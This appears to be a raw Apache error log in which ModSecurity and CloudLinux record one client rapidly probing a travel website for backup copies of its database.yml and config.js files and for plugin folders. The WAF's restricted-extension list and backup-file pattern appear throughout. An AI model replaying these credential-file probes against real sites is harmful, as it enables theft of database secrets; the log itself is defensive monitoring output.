[Fri Jul 17 08:55:20.073738 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.tmp"] [unique_id "almgoEkXT4NBqALj2lZ8vwAAABA"]
[Fri Jul 17 08:55:20.073838 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.074022 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.tmp"] [unique_id "almgoEkXT4NBqALj2lZ8vwAAABA"]
[Fri Jul 17 08:55:20.074134 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.074253 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoEkXT4NBqALj2lZ8vwAAABA"]
[Fri Jul 17 08:55:20.081405 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.086242 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.086356 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.copy"] [unique_id "almgoCvekYYQ8uns4MwlagAAAA0"]
[Fri Jul 17 08:55:20.086706 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.copy"] [unique_id "almgoCvekYYQ8uns4MwlagAAAA0"]
[Fri Jul 17 08:55:20.086862 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.086984 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoCvekYYQ8uns4MwlagAAAA0"]
[Fri Jul 17 08:55:20.090762 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.bkp"] [unique_id "almgoA5GPQ6hs4VrfMpBiQAAAAY"]
[Fri Jul 17 08:55:20.091063 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.bkp"] [unique_id "almgoA5GPQ6hs4VrfMpBiQAAAAY"]
[Fri Jul 17 08:55:20.091205 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.091360 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBiQAAAAY"]
[Fri Jul 17 08:55:20.093805 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.1"] [unique_id "almgoC0HS8lGbZyK8qt3JwAAACM"]
[Fri Jul 17 08:55:20.094177 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.1"] [unique_id "almgoC0HS8lGbZyK8qt3JwAAACM"]
[Fri Jul 17 08:55:20.094305 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.094432 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoC0HS8lGbZyK8qt3JwAAACM"]
[Fri Jul 17 08:55:20.096506 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config/database.yml.backup"] [unique_id "almgoLoj0IkvhSCYadmBswAAAAQ"]
[Fri Jul 17 08:55:20.096790 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml.backup"] [unique_id "almgoLoj0IkvhSCYadmBswAAAAQ"]
[Fri Jul 17 08:55:20.097086 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml.backup"] [unique_id "almgoLoj0IkvhSCYadmBswAAAAQ"]
[Fri Jul 17 08:55:20.097220 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.097375 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoLoj0IkvhSCYadmBswAAAAQ"]
[Fri Jul 17 08:55:20.098413 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".js~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.js~"] [unique_id "almgoIZvbo7N5o5zeYC-dwAAABw"]
[Fri Jul 17 08:55:20.098564 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "database.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config/database.yml-backup"] [unique_id "almgoIbYoYGvYnmnM82CMgAAAAs"]
[Fri Jul 17 08:55:20.098842 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config/database.yml-backup"] [unique_id "almgoIbYoYGvYnmnM82CMgAAAAs"]
[Fri Jul 17 08:55:20.098863 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.js~"] [unique_id "almgoIZvbo7N5o5zeYC-dwAAABw"]
[Fri Jul 17 08:55:20.098939 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.098953 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.099071 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CMgAAAAs"]
[Fri Jul 17 08:55:20.099074 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIZvbo7N5o5zeYC-dwAAABw"]
[Fri Jul 17 08:55:20.099241 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.js.bak"] [unique_id "almgoHRlmrtCoY_COpcl8wAAAAg"]
[Fri Jul 17 08:55:20.099684 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.js.bak"] [unique_id "almgoHRlmrtCoY_COpcl8wAAAAg"]
[Fri Jul 17 08:55:20.099744 2026] [authz_core:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/jetpack
[Fri Jul 17 08:55:20.099774 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.099834 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.099889 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoHRlmrtCoY_COpcl8wAAAAg"]
[Fri Jul 17 08:55:20.100083 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.js.old"] [unique_id "almgoO1pLmPpy2r_2CxfVwAAAA8"]
[Fri Jul 17 08:55:20.100544 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.js.old"] [unique_id "almgoO1pLmPpy2r_2CxfVwAAAA8"]
[Fri Jul 17 08:55:20.100645 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.100756 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfVwAAAA8"]
[Fri Jul 17 08:55:20.101247 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.101429 2026] [authz_core:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/wordfence
